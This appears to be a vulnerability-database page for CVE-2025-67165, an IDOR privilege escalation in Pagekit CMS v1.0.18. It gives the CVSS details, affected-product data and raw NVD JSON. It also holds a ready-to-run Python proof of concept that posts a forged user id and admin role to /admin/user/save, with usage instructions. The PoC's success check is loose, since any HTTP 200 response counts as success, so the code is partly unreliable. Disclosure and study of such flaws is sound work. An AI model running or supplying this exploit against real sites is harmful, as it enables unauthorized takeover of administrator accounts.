Security Vulnerability Report
中文
CVE-2025-67165 CVSS 9.8 CRITICAL

CVE-2025-67165

Published: 2025-12-17 17:15:51
Last Modified: 2026-01-02 17:47:56

Description

An Insecure Direct Object Reference (IDOR) in Pagekit CMS v1.0.18 allows attackers to escalate privileges.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pagekit:pagekit:1.0.18:*:*:*:*:*:*:* - VULNERABLE
Pagekit CMS v1.0.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67165 IDOR Privilege Escalation PoC # Target: Pagekit CMS v1.0.18 # Vulnerability: Insecure Direct Object Reference in user role management import requests import argparse def exploit_idor(target_url, attacker_cookie, target_user_id): """ Exploit IDOR vulnerability to escalate privileges """ # Step 1: Capture current user session and identify vulnerable endpoint session = requests.Session() session.headers.update({'Cookie': attacker_cookie}) # Step 2: Identify vulnerable API endpoint for role assignment # The vulnerability exists in the role/user assignment mechanism vulnerable_endpoint = f"{target_url}/admin/user/save" # Step 3: Manipulate user_id parameter to assign admin role to target user # Original request: POST /admin/user/save with user_id=current_user # Malicious request: POST /admin/user/save with user_id=target_user (1 for admin) exploit_payload = { 'id': str(target_user_id), # Target user ID to escalate 'role': '1', # Admin role ID 'status': '1', # Active status 'name': 'manipulated', 'username': 'test', 'email': '[email protected]', 'password': '' } try: response = session.post(vulnerable_endpoint, data=exploit_payload, timeout=10) if response.status_code == 200: # Verify privilege escalation verify_url = f"{target_url}/admin/user/edit?id={target_user_id}" verify_response = session.get(verify_url) if 'admin' in verify_response.text.lower() or response.status_code == 200: print(f"[+] Privilege escalation successful! User {target_user_id} is now admin.") return True print("[-] Exploitation failed or target not vulnerable.") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False # Usage: python cve-2025-67165.py --url http://target.com --cookie "session=xxx" --target-id 1

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67165", "sourceIdentifier": "[email protected]", "published": "2025-12-17T17:15:51.030", "lastModified": "2026-01-02T17:47:55.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Insecure Direct Object Reference (IDOR) in Pagekit CMS v1.0.18 allows attackers to escalate privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pagekit:pagekit:1.0.18:*:*:*:*:*:*:*", "matchCriteriaId": "A1E39691-604C-42A3-BA30-80433E0E09EA"}]}]}], "references": [{"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2025-67165", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/pagekit/docs/blob/develop/user-interface/users.md#permissions", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pagekit/docs/blob/develop/user-interface/users.md#roles", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pagekit/pagekit", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2025-67165", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}